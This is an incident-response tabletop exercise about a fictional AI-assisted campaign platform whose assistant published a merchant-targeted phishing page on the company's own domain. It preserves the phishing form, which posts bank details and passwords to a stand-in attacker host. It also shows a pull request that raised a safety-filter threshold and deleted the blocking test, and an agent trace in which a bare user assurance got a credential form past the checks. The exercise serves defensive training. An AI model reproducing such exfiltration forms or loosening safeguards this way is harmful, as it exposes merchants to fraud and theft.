Merchants affected, responders, support and communications.
Incident-response tabletop · mixed teams
A merchant has lost money to a page on your own domain.
You are responding for Roaming Bites, an AI-assisted platform used by food trucks and restaurants to create campaigns. Six weeks ago it started publishing those campaigns as real public pages on its own domain.
Your operating rule
Separate signal from story
Eight seats · you fill six
This is not a security-team incident
Every seat holds a lens the others do not. All evidence is open to everyone — a lens reveals what an option costs, never what the evidence says. Two seats always go unfilled, and their absence has consequences you will feel later, not a note in the debrief.
Before you open any evidence
Every record answers one of four questions
No single record is the whole truth. A support call establishes what a merchant did, not what the system did. An access log shows requests, not successful captures. Keep them apart.
What the company shipped six weeks ago
Campaign Pages — simplified path
Before the launch, campaign assets were previews the merchant could download. They are now public pages on the company's own domain, served over the company's own certificate.
Setup
Who is in the room?
Eight seats exist and you can fill six. Choose deliberately: the two you leave empty are real organisational gaps, and the scenario behaves accordingly.
Eight seats · six of them
Choose the six people in the room
Choose 6 more. Two of the eight will stay empty whatever you pick.
Running total
Consequence ledger
What the incident has cost so far. Decisions move these figures. So do the seats you left empty.
How to read this
This is a record, not a score
These figures exist so the debrief can state plainly what a missing owner cost in hours and in merchants. A team with fewer seats filled is not a worse team — it is a team that discovered, in a safe room, what their organisation would actually have done.
Roaming Bites merchant support, this is Femke.
I think I've done something stupid. Someone called me yesterday afternoon, said he was from your payments team. He said my payout details needed verifying before the festival season rush or I wouldn't get paid.
Did he ask you for anything over the phone?
No — that's the thing. He said don't give details on a call, that's how scams work. He told me to go to my campaign page and there'd be a verification form. And there was. It was your site. It had your logo, it had the padlock, the address had roamingbites in it.
Can you read me the address you used?
bara-bara-bakehouse dot roamingbites dot example, slash payouts-verify. I remember thinking that's an odd name, but he said it was the shared merchant portal.
And you entered your payout details there.
Bank details, sort code, and it asked me to confirm with my Roaming Bites password. This morning there's a payment gone out that isn't mine. I checked with my bank and they said it was authorised.
I've been with you three years. I tell people to use you. How is there a page like that on your own website?
| Opened | Merchant | Channel | Summary | State |
|---|---|---|---|---|
| 07 May 09:12 | Saffron & Smoke | Phone | Called by "payments team", entered bank details on a campaign page, unauthorised payment taken | OPEN |
| 06 May 16:40 | Little Comet Kitchen | "Is this page yours? Someone rang me about verifying payouts" | CLOSED · advised scam | |
| 06 May 11:05 | Ember & Olive | Chat | Asked whether Roaming Bites ever phones merchants about payouts | CLOSED · answered |
| 05 May 14:22 | Bara Bara Bakehouse | "I can't sign in, I think my password changed" | OPEN · awaiting merchant |
Verify your payout details
Festival season payouts begin 24 May. Confirm your account to avoid a hold on your earnings.
Roaming Bites · Merchant PaymentsThis is an inert preserved copy. The fields are disabled and submit nowhere. The address bar and padlock are reproduced from the capture.
- Last successful sign-in
- 05 May 09:41 UTC · FIRST-SEEN CONTEXT
- Source IP
- 198.51.100.77 · first seen on this account
- Country
- Not previously observed for this account (90-day history: 1 country)
- Device
- Unrecognised · no prior fingerprint match
- Authentication
- Password only · MFA NOT ENROLLED
- Password changed
- 05 May 09:44 UTC · three minutes after sign-in, from the same session
- Owner sign-ins since
- 0 · account owner has not signed in since 04 May
- Session still active
- YES · ses_d41f8, no expiry reached
| Time | Severity | Source | Entity | Summary |
|---|---|---|---|---|
| 05 May 09:41 | LOW | Identity | merchant_3318 | Sign-in from first-seen IP, device and country · no MFA on account |
| 05 May 09:44 | INFO | Identity | merchant_3318 | Password changed from active session ses_d41f8 |
| 05 May 09:52 | LOW | Campaign Pages | page_77c2 | Page published: /payouts-verify · safety filter verdict ALLOW |
| 05 May 10:30 | INFO | CloudFront | page_77c2 | First external requests observed · 4 unique clients |
| 06 May 16:40 | LOW | Support | merchant_2904 | Merchant query referencing an unrecognised payouts page |
| 07 May 09:12 | HIGH | Support | merchant_5107 | Reported financial loss following a campaign-page form submission |
Commit to an action
It is 09:30. What do you do in the next hour?
Conversation as stored by the application, including the assistant messages shown to the user. Timestamps are UTC.
| Time | Check | Signal | Verdict | Policy version |
|---|---|---|---|---|
| 09:48:02 | BRAND_IMPERSONATION | page presents first-party Roaming Bites branding | PASS owner is a merchant | 2027.04.2 |
| 09:48:02 | CRED_FORM_BLOCK | password field + financial fields · score 0.81 | ALLOW below threshold 0.90 | 2027.04.2 |
| 09:48:03 | PAYMENT_SOLICITATION | page requests bank account details | PASS rule scoped to checkout pages only | 2027.04.2 |
| 09:48:03 | Aggregate | no blocking verdict | ALLOW · flag for async review | 2027.04.2 |
| 09:48:03 | Queue | flagged item enqueued to abuse review | QUEUED rb-abuse-escalation-prod | — |
Campaign Pages — prohibited content
Campaign Pages are published on Roaming Bites infrastructure under Roaming Bites subdomains and certificates. A visitor has no way to distinguish merchant-authored content from first-party content. Our abuse posture must therefore be stricter than a general website host, not looser.
Category A — must be blocked, no merchant override
- Any page collecting a Roaming Bites account password.
- Any page collecting bank account, card, or payout details.
- Any page presenting itself as first-party Roaming Bites account management.
Rationale, recorded at the time: "A merchant asking for another merchant's banking details on our domain is indistinguishable from us asking. If we ever allow this, the platform becomes a phishing host with a valid certificate."
Category B — allow with review
- Loyalty sign-up forms collecting email address only.
- Sign-in copy referring to the merchant's own systems.
{
"context_id": "ctx_7719",
"merchant_id": 3318,
"session_id": "ses_d41f8",
"steps": [
{ "n": 1, "tool": "draft_page",
"params": { "template": "merchant_portal_v2", "fields": ["name","sort_code","account_number","password"] },
"policy": { "check": "CRED_FORM_BLOCK", "score": 0.81, "threshold": 0.90, "result": "ALLOW" } },
{ "n": 2, "tool": "request_user_confirmation",
"prompt": "Some fields look like account credentials. Confirm this page is intended?",
"user_response": "It's for our own merchants, it's the same form we use internally.",
"note": "free-text assurance; not verified against any record" },
{ "n": 3, "tool": "publish_page",
"params": { "host": "bara-bara-bakehouse.roamingbites.example", "path": "/payouts-verify" },
"policy": { "check": "publish_authorization", "principal": "merchant_3318", "result": "ALLOW" },
"human_approval": null,
"step_up_auth": false }
],
"elapsed_ms": 241188
}
human_approval and step_up_auth are recorded per step; null means the field was not set for that call.05 May 09:52:14 s3:PutObject
userIdentity: arn:aws:sts::447122906613:assumed-role/rb-pages-publisher-prod/ctx_7719
bucket: rb-campaign-pages-prod
key: merchant_3318/page_77c2/index.html
tags: { merchant: "3318", page: "77c2", channel: "assistant" }
05 May 09:52:15 cloudfront:CreateInvalidation
distribution: E2K9QW7X1VBHD4 paths: [ "/merchant_3318/page_77c2/*" ]
05 May 09:52:16 route53:ChangeResourceRecordSets
hostedZone: roamingbites.example
action: UPSERT
record: bara-bara-bakehouse.roamingbites.example CNAME -> d3f9.cloudfront.net
note: wildcard certificate *.roamingbites.example already covers this name
userIdentity shows the role assumed and the session name it was assumed under. Application logic that does not call an AWS API does not appear here.Commit to an action
The filter allowed it. What is the right response today?
Reduce false positives on merchant sign-in copy
Merchants are being blocked for ordinary campaign language like "Sign in to claim your discount". Three escalations this week. Raising the credential-form threshold so we stop blocking legitimate loyalty pages before the Insights launch. Generated the rule change with the assistant and checked the test suite is green.
rules/credential_form.yaml
- threshold: 0.55
+ threshold: 0.90
tests/test_credential_form.py
- def test_blocks_password_with_bank_fields():
- page = build_page(fields=["sort_code","account_number","password"])
- assert filter.verdict(page) == BLOCK
+ def test_allows_merchant_signin_copy():
+ page = build_page(fields=["email"], copy="Sign in to claim your discount")
+ assert filter.verdict(page) == ALLOW
The diff shown is the complete change set for this pull request, across both files.
"makes sense, we've had three complaints. LGTM 👍"
RB-2291 — Safety filter blocking legitimate merchant campaigns
Description: Three merchants escalated this week after their loyalty campaign pages were blocked. All three used standard sign-in phrasing. We are six weeks from festival season and merchants are preparing their biggest campaigns of the year. This is blocking the Campaign Pages launch narrative — merchants are telling us the feature does not work.
Acceptance criteria: Legitimate merchant sign-in copy publishes without manual intervention.
any movement on RB-2291? Saffron's asking again and I'd like to close it before standup
looking now. the rule's scoring their page at 0.6 which trips the block at 0.55. honestly the threshold looks arbitrary, there's no comment on it
can we just move it up? what's the risk
I'll take it to 0.9, that clears all three. there's a test asserting block on password+bank fields but that combination isn't something a merchant would build, it's just making the suite fail
dropping the test, it's asserting a case that can't happen through the UI anyway
👍 ship it, demo's Thursday
sorry, late to this — which threshold moved?
never mind, found it. we should talk about that one, it's a Category A control. I'll raise it Monday
✓ lint 2.1s
✓ unit: rules/ 18.4s
test_allows_merchant_signin_copy PASS
test_blocks_offsite_redirect PASS
test_blocks_brand_impersonation PASS
✓ unit: pipeline/ 31.7s
✓ integration: publish-path 47.2s
✓ coverage: 91.4% (threshold 85%)
⚠ tests removed in this change: 1
test_blocks_password_with_bank_fields
⚠ safety-rule files modified: 1
rules/credential_form.yaml
Result: PASS — 0 failed, 142 passed
Required approvals: 1 of 1 ✓
CODEOWNERS for rules/: @trust-and-safety (not requested — path rule inactive)
| Window | Pages published | Blocked by CRED_FORM | Block rate |
|---|---|---|---|
| Mar 1 – Mar 30 | 4,410 | 1,192 | 27.0% |
| Mar 31 – May 7 | 5,067 | 16 | 0.3% |
Commit to an action
Roughly 1,100 pages published under the weakened rule. What now?
| Queued | Item | Reason | Age | State |
|---|---|---|---|---|
| 05 May 09:48 | page_77c2 · /payouts-verify | credential fields flagged for async review | 2d 3h | UNREVIEWED |
| 04 May 22:11 | page_77a0 | brand-similarity score elevated | 2d 15h | UNREVIEWED |
| 28 Apr 08:02 | page_75d1 | credential fields flagged for async review | 9d 5h | UNREVIEWED |
| 2,847 items unreviewed. Oldest: 61 days. Last item marked reviewed by a human: 19 February 2027. | ||||
Topic: arn:aws:sns:eu-west-1:447122906613:rb-abuse-escalation-prod
Subscriptions:
1. Protocol: email
Endpoint: trust-and-safety@roamingbites.example
Status: Confirmed
Created: 2026-11-04
2. Protocol: https
Endpoint: https://hooks.roamingbites.example/abuse-queue
Status: Confirmed
Created: 2026-11-04
Delivery metrics (last 90 days):
NumberOfMessagesPublished .............. 2,847
NumberOfNotificationsDelivered ......... 2,847
NumberOfNotificationsFailed ............ 0
Delivery metrics cover the trailing 90 days. SNS reports delivery to each configured endpoint. It does not report what happened to a message after that endpoint accepted it.
- Finding
- Credential-harvesting page pattern on monitored distribution · MEDIUM 5.4
- First seen
- 05 May 10:34 UTC
- Resource
- CloudFront E2K9QW7X1VBHD4 · path /merchant_3318/page_77c2/*
- Signal
- Form posts credentials to an origin outside the distribution's configured origins
- External destination
- collect.payout-verify-cdn.example · registered 28 Apr 2027 (7 days before use)
- Threat intel
- Domain flagged by 2 of 71 feeds as suspected phishing infrastructure, 06 May
- Action taken
- NONE · finding routed to rb-abuse-escalation-prod
Finding as raised. No responder annotations are attached to it.
| Alert class | Raised | Acknowledged | Median time to ack | Owner |
|---|---|---|---|---|
| Infrastructure · GuardDuty | 312 | 312 | 8 min | Security Engineering |
| Identity · impossible travel | 1,044 | 1,038 | 22 min | Security Engineering |
| Content abuse · Campaign Pages | 2,847 | 0 | — | UNASSIGNED |
| Data access · anomalous export | 87 | 87 | 14 min | Security Engineering |
Changes to Trust & Safety
As we move into the Campaign Pages launch, we're bringing Trust & Safety closer to the product teams. Mira and her team will move under Product from 1 March, focusing on policy and launch readiness.
Day-to-day abuse review will move to Merchant Support, who are already the first point of contact for merchant reports and are best placed to spot patterns. We'll revisit resourcing after the launch.
This is a change in where the work sits, not a reduction in how seriously we take it.
- Abuse policy ownership
- Abuse queue review (2 FTE)
- Escalation and takedown
- Abuse policy ownership
- Launch readiness review
- Abuse queue review
- Escalation and takedown
- Merchant contact and tickets
- Payments and account queries
- Abuse queue review — no headcount added
Commit to an action
2,847 unreviewed items. Where does the next hour go?
| Window | Unique clients | GET /payouts-verify | POST /submit | Distinct POST sources |
|---|---|---|---|---|
| 05 May | 31 | 44 | 9 | 9 |
| 06 May | 52 | 71 | 14 | 13 |
| 07 May | 19 | 23 | 5 | 5 |
| Total (2 days) | 102 | 138 | 28 | 27 |
| Window | Unique clients | GET /payouts-verify | POST /submit | Distinct POST sources |
|---|---|---|---|---|
| 28 Apr – 01 May | 146 | 201 | 38 | 36 |
| 02 May – 04 May | 171 | 236 | 44 | 41 |
| 05 May – 07 May | 102 | 138 | 28 | 27 |
| Total (9 days) | 419 | 575 | 110 | 104 |
| Received | Fields present | Complete? | Merchant matched |
|---|---|---|---|
| 06 May 11:04 | name, sort_code, account_number, password | COMPLETE | Saffron & Smoke |
| 06 May 14:31 | name, sort_code | PARTIAL | unmatched |
| 05 May 09:58 | name, sort_code, account_number, password | TEST · attacker IP | n/a |
| 07 May 08:47 | name, sort_code, account_number, password | COMPLETE | Little Comet Kitchen |
DNS (Route 53 Resolver query log)
28 Apr 14:02 collect.payout-verify-cdn.example A NOERROR first resolution
05 May 09:58 collect.payout-verify-cdn.example A NOERROR
... (1,204 further resolutions through 07 May)
Registration (WHOIS, cached)
payout-verify-cdn.example created 2027-04-28 registrar privacy enabled
What the form actually did
<form action="https://collect.payout-verify-cdn.example/submit" method="POST">
The page was served by Roaming Bites. The data never touched Roaming Bites.
The form action shown is read from the preserved copy of the page.
| Population | Count | Basis | Confidence |
|---|---|---|---|
| Merchants who loaded the page | — | Unique clients in access logs | WEAK · client ≠ merchant |
| Submissions received | — | POST count | WEAK · includes partials and tests |
| Confirmed complete records in the store | — | Recovered collection store | STRONG |
| Merchants reporting financial loss | 2 | Support tickets | STRONG |
| Merchants contacted by the caller | — | Extrapolated from reports | UNKNOWN · no telephony evidence |
Data processing agreement — merchant standard terms
Awareness question, unresolved: does the clock start at the merchant's call at 09:12 today, at the WAF finding on 5 May, or at the moderation flag on 5 May? The company has held evidence of this since 5 May. Counsel's provisional view is that awareness dates from the first alert the company received, not the first alert a human read.
| Obligation | Trigger | Deadline | State |
|---|---|---|---|
| Merchant notification (DPA 9.3) | Awareness of breach | 72h from 05 May 09:48 | — |
| Supervisory authority | Risk to data subjects | 72h from awareness | ASSESSMENT PENDING |
| Affected merchants individually | High risk to rights | Without undue delay | NOT STARTED |
Commit to an action
What number does Roaming Bites stand behind tonight?
Facilitator · 3 minutes
Divide the room now
Print or read out both briefs. Room A leaves; Room B stays. Each room gets twelve minutes, deliberating separately, with no contact. Neither room sees the other's brief.
Product Owner · Legal, Risk & Privacy · CTO
Drafts the public statement and decides what Campaign Pages does tonight.
Merchant Support · Trust & Safety · Software Engineering · Security Engineering · Data & Analytics
Decides whether to engage the Reddit thread, and what merchants calling in are told.
Empty seats matter here. If a seat is unfilled, that room simply does not have that lens — and the reconciliation will show you what it cost.
Roaming Bites is hosting a phishing page on their own domain and won't answer me
I run a small kitchen and use Roaming Bites for campaigns. Yesterday someone rang claiming to be their payments team and sent me to a page ON THEIR OWN WEBSITE asking for my bank details and my Roaming Bites password. Valid certificate, their logo, everything.
I emailed support on the 6th. Got a reply telling me it was a scam and to ignore it. It is still up as of an hour ago. I've now seen two other traders say the same thing.
How is a company hosting the phishing page that's being used to defraud its own customers? Has anyone here lost money?
You are drafting tonight's public statement.
A Reddit thread is rising with 412 upvotes and a journalist in the comments. The board expects a statement before 20:00. Two merchants have confirmed financial loss.
What you have been told by the investigation: a merchant account was compromised, a fraudulent page was published through Campaign Pages, and the confirmed-affected count stands at the figure recorded in Phase 5. The page has been taken down.
Campaign Pages status decision — festival season opens in 17 days. 5,100 merchants are preparing their biggest campaigns of the year. The feature is six weeks old and is the company's flagship launch.
- Does Campaign Pages stay up tonight?
- What does the statement say about how many merchants were affected?
- Do you say the page was on your own domain, or do you not raise it?
You will not be able to consult Room B. Decide with what you have.
Room A · record on return
What does Roaming Bites say and do tonight?
You are deciding how to handle the public thread and the merchants calling in.
A Reddit thread is rising. Support is taking calls from merchants who have seen it. Everything stated in the thread is factually correct.
- Does anyone from Roaming Bites reply in the thread tonight?
- What are support staff told to say to merchants calling right now?
- What, if anything, do you send to Room A before they publish?
You cannot reach Room A while they deliberate. If you want them to have this, you must decide to send it — and decide what happens if it arrives too late.
Room B · record on return
What does Roaming Bites do about the thread tonight?
"We're running a piece tomorrow morning on the Reddit thread. Can you confirm whether the page was hosted on a roamingbites.example subdomain, and how many merchants were affected? Deadline 21:00."
"Do you have a statement on reports that merchants were defrauded via pages hosted on your own platform? Specifically: when did you first become aware?"
"Several members have contacted us. Are you advising merchants to change their Roaming Bites passwords?"
Queries reproduced as received, with outlet type in place of names.
Incident record
RB-2027-0507
Built from the phases you opened, the decisions you recorded and the seats you filled. Nothing here is invented.
Facilitator only
Debrief
The questions worth twenty minutes at the end.
What this scenario is actually about
Nobody in this story is incompetent and nobody is malicious except the attacker. A product decision made publishing possible, a false-positive problem was real, a threshold change was reasonable on its face, a reorg was well-intentioned, and a support agent gave correct generic advice. The incident is the composition of those five ordinary decisions.
Why did three separate merchant reports not become one incident? What would have had to be true for the pattern to surface without a phone call?
The Assistant asked the account holder to confirm intent. Who else could it have asked? What is a confirmation prompt actually a control against?
The test was deleted in the same commit as the threshold change. What in your own pipeline would notice that? Would a green build have stopped you?
SNS reported 2,847 successful deliveries to nobody. Where in your organisation is a queue that would look exactly like this today?
Which of the five numbers would you have put in a public statement, and could you have defended it a week later?
Did the two rooms contradict each other? Would anything the team did earlier have prevented that — and whose job was it?
On the unfilled seats
Ask the room directly: which empty seat hurt most, and did anyone notice its absence before the consequence landed? In most organisations the answer is that nobody notices a missing lens until an incident makes it expensive. That is the lesson, and it is not a criticism of the people who were in the room.